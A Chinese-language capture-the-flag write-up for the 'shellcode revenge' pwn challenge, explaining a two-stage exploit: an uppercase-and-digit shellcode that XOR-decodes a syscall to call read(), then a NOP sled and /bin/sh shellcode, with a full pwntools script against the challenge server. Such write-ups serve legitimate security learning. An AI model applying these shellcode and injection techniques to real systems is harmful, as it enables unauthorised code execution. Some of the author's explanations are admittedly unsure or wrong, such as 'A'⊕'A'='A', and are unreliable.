特殊shellcode

https://buuoj.cn/challenges#[NewStarCTF%202023%20%E5%85%AC%E5%BC%80%E8%B5%9B%E9%81%93]shellcode%20revenge

这道题有点像我之前做过的mrctf的shellcode的revenge。不过范围不一样。

大概看一下,把所有的大写字母和数字都排除在外了,意思是只要输入大写字母和数字就不会被break——跳出。

所以我们要创造一个只有大写字母和数字的shellcode?

然后我也懒得checksec了,而且用的是rsp——也就是64位。开了一些保护啥的,反正jumpout到的66660000h这个地址在上面的mmap里面写入了权限’7’(第三参数),也就是可读可写可执行。

整个代码的逻辑是:出现Show me your magic之后,进入一个for循环,for循环一开始会有一个read让我们输入数据,因为是一个char类型指针buf,每次读取一个值。然后下面的strncpy()会把我们一个一个输入的buf存到src里面的src复制到我们的0x66660000地址里面,我们可以看main函数的堆栈视图:

我们要将数据存放到src的位置,而且只能输入264个字符(这264字符是可用的shellcode长度)。

不过这道题目比较难,是一个可见字符shellcode。要构造一个可见字符shellcode还必须是大写和数字就很麻烦了,目前自动生成的大部分都是大小写+数字的组合。

这边用了一个read函数,其中第一参数是0,也就是fd里面的标准输入,我输入进去的东西都会从这个里面获取到,第二参数是buf变量地址(一个指针)也就是读取的大小,第三参数是读取权限。

汇编这里会写的更清楚一点,edi的值变成了0。我们可以通过这个值进行运算,例如[edi+0x10]得到的值就是0+0x10=0x10。

现在的思路是,我可以用可见字符来构造一个最小的shellcode,目的是为了调用read函数,让read函数再一次读取值存放到66660000h这个地址上,覆盖我之前的为了调用read函数而构造的shellcode,再一次读取的shellcode不会有什么奇怪的判定条件,它可以直接执行我输入进去的任何东西。

构造第一段shellcode - read函数

构造可见ASCII shellcode是一个很麻烦的工作,我们先看一下普通的shellcode,拿64位举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
;;nasm -f elf64 shellcode64.asm
;;ld -m elf_x86_64 -o shellcode64 shellcode64.o
;;objdump -d shellcode64
global _start
_start:
mov rbx, '/bin/sh' ; 把字符串"/bin/sh"的地址放到rbx寄存器
push rbx ; 将"/bin/sh"的地址压入栈
push rsp ; 把当前栈顶指针(指向"/bin/sh"地址)压入栈
pop rdi ; 从栈弹出数据到rdi,使rdi指向"/bin/sh"
xor rsi, rsi ; 清空rsi(argv参数设为0)
xor rdx, rdx ; 清空rdx(envp参数设为0)
push 0x3b ; 把系统调用号0x3b压入栈
pop rax ; 从栈弹出数据到rax,设置系统调用号
syscall ; 执行系统调用

最麻烦的部分就是/bin/shsyscall,一个是字符串,另外一个是命令。其中syscall的机器码是0x0f05,汇编的书籍或Intel/AMD开发者用书里面也会说到。

可是syscall不是可见字符啊,更不是A-Z,0-9之间的数值。这要怎么办?

异或加密

异或是一种逻辑运算,AB得到的值是C,而C⊕B之后得到的值就是A。逻辑如下:、

image

如此,我就可以构造一个这样的设计:

image

image

我们假设字符’A’为密钥,将syscall作为原始数据输入计算得到加密数据:0x0f05⊕0x4141=0x4e44(都为可见字符),所以我们确实可以用它来作为密钥。

加密后的syscall需要写入内存,但是直接写入的指令mov机器码很显然不是可见字符,而xor为可见字符0x33=’3’。或者0x31=’1’。

为什么有两个?是因为xor的运算符定义是这样的:

1
xor [a值], [b值]

而在汇编里面,寄存器需要放在前面,其他的放在后面,也就变成了:<font style="color:rgb(17, 17, 17);">xor 寄存器, 其他值</font>,所代表的意思也就是将寄存器里面的值和其他值进行异或处理后,存储到寄存器里面。

如果我们要实现:<font style="color:rgb(17, 17, 17);">xor 其他值, 寄存器</font>,也就是将其他值和寄存器做异或处理后,将计算后的值存储到其他值里面,这个时候在机器码里面,依旧要按照:<font style="color:rgb(17, 17, 17);">xor机器码 寄存器机器码,其他值</font>的顺序。

于是就有了两个xor,一个代表的是第一种情况,一个代表第二种情况,分别为<font style="color:rgb(17, 17, 17);">0x33</font><font style="color:rgb(17, 17, 17);">0x31</font>

异或解密syscall

这个时候我们就可以开始构造一些东西了,首先看代码,

我们会发现在jmp到66660000h这个地址前,我们的eax被归0了,所以就可以利用这一点,配合xor来创造

并且制造出syscall的加密数据形式0x4e444e44(输入两遍是为了防止一遍不运行)

首先一开始是<font style="color:rgb(17, 17, 17);">xor eax,NUM</font>,实际上是<font style="color:rgb(17, 17, 17);">[rdx+0x38]</font>,为什么是<font style="color:rgb(17, 17, 17);">rdx+NUM</font>?在这里我们看到esi和edx都被复制为了66660000h,实际上这个就是打定了 内存区域中的基地址 ,那为什么偏偏是这个地址呢?这其实有点玄学,因为似乎rdx会作为这个偏移值的基地址,而刚好这边初始化了edx。而大概率选择了rdx作为基地址来偏移。

我们构造这么一个逻辑:

画板

这里面有很多零碎的知识点,我们先讲一个大概,后面慢慢补充:

首先是上面的机器码部分,因为程序必须输入可见字符,其中第一部分的可见字符是0x300x39,可见字符’0’‘9’的部分。我在这里输入的是0x33 0x42 addr1,这个代码的汇编样式是:xor rax, [addr1],目的是将rax里面的值改成’A’,0x42是寄存器rax的机器码。rax的值一开始为0,A⊕0=A,而

1
2
3
4
rax==0, [addr]=='A'
rax=rax⊕[addr1]
=0⊕'A'
='A'

通过这一步,我就可以把rax的值改成’A’了。

然后第二步,使用xor指令配合修改成’A’值的寄存器rax对下面的加密后syscall做处理。第一个加密syscall的起始地址为addr2,利用<font style="color:rgb(17, 17, 17);">0x31 0x42 addr2</font>这个命令,就可以修改addr2中的数据。逻辑为:[addr2] ⊕ rax =

1
2
3
4
[addr2]==0x4e, rax=='A'
[addr2]=[addr2]⊕rax
=0x4e⊕0x41
=0x0f

第三步,我们要还原rax寄存器的值为0,为什么?因为我们的核心逻辑是再调用一次read函数,然后读取我们写入的第二段shellcode(可以直接进入/bin/sh的)到特定的内存里,然后让PC,也就是程序计数器读到第二段shellcode的内容执行即可。用rax里面的值随便找一个’A’做异或即可。

1
2
3
4
rax=='A' [addr1]=='A'
rax=rax⊕[addr1]
='A'⊕'A'
='A'

如此完成后,即可。

现在的问题是addr2addr1应该是多少?

因为我们输入的addr2addr1必须是可见字符,也就是0x30-0x39之间的数值,而二遍syscall最多占用四个地址。所以我们把第一个syscall的起始地址addr2放在0x30的位置就行了。中间用pop rcx这种方式来过度,他的机器码刚好也是一个可见字符,而rcx在程序中这个寄存器也没有用到,他里面的值是多少不重要(类似于NOP滑块指令,目的只是塞入值,并且让程序读到这些中间值又可以运行)

而addr的地址则为0x30后4个数字(因为包括0x30,所以第4个数字实际上是0x33),在第五位的时候塞入数据’A’做填充。一般而言只要两个’A’就行了。我们这边填充8个A。所以第一段的代码就被写出来了:

1
2
3
4
5
6
7
8
payload =  b'\x33\x42\x38'  #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x30' #31 42 30 xor DWORD PTR [rdx+0x30], eax
payload += b'\x33\x42\x38' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
# payload += b'\x31\x42\x38' #31 42 38 xor DWORD PTR [rdx+0x38], eax 这个可以保证最后rdx0x38里面的值变成A?
payload += b'\x59'*(0x30-len(payload)) #59 pop rcx
payload += b'\x4e\x44'*2 #syscall 0x4e^0x41=0xf 0x44^0x41=0x5
payload += b'A' * 8 #xor key
p.sendlineafter("magic\n",payload)

一些没有讲的小问题

画板

1、为什么我只异或了0x30地址上的4e,syscall却正常运作了呢?

不知为何,寄存器不知道调用的是eax还是rax,其实不重要,他会与后面所有的字符A做异或,然后再与两个字节的syscall,也就是两个0x4e44做处理。如果我在这里后面的字符’A’只有两个的话就会与第一个0x4e44做处理,这个是gdb后的结果,原理是什么我也不清楚…所以字符’A’的长度必须大于2,不然0x44的部分就不会被处理了。

2、如果我把payload中的\x38改成\x3a(也是存有’A’的地址),为什么运行不了呢?

因为0x3a是字符’:’,不是可见字符……

第二段shellcode

第二段就很简单了,我只需要放入NOP字符滑过和覆盖之前的内容即可,然后再塞入/bin/sh的shellcode即可。

1
p.sendline(b'\x90'*0x50+asm(shellcraft.sh()))

全部代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#[NewStarCTF 2023 public race]shellcode revenge
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
ip='node5.buuoj.cn'
port=27424
p = remote(ip,port)

payload = b'\x33\x42\x38' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x30' #31 42 30 xor DWORD PTR [rdx+0x30], eax
payload += b'\x33\x42\x38' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x59'*(0x30-len(payload)) #59 pop rcx
payload += b'\x4e\x44'*2 #syscall 0x4e^0x41=0xf 0x44^0x41=0x5
payload += b'A' * 8 #xor key
p.sendlineafter("magic\n",payload)
pause()
p.sendline(b'\x90'*0x50+asm(shellcraft.sh()))
p.interactive()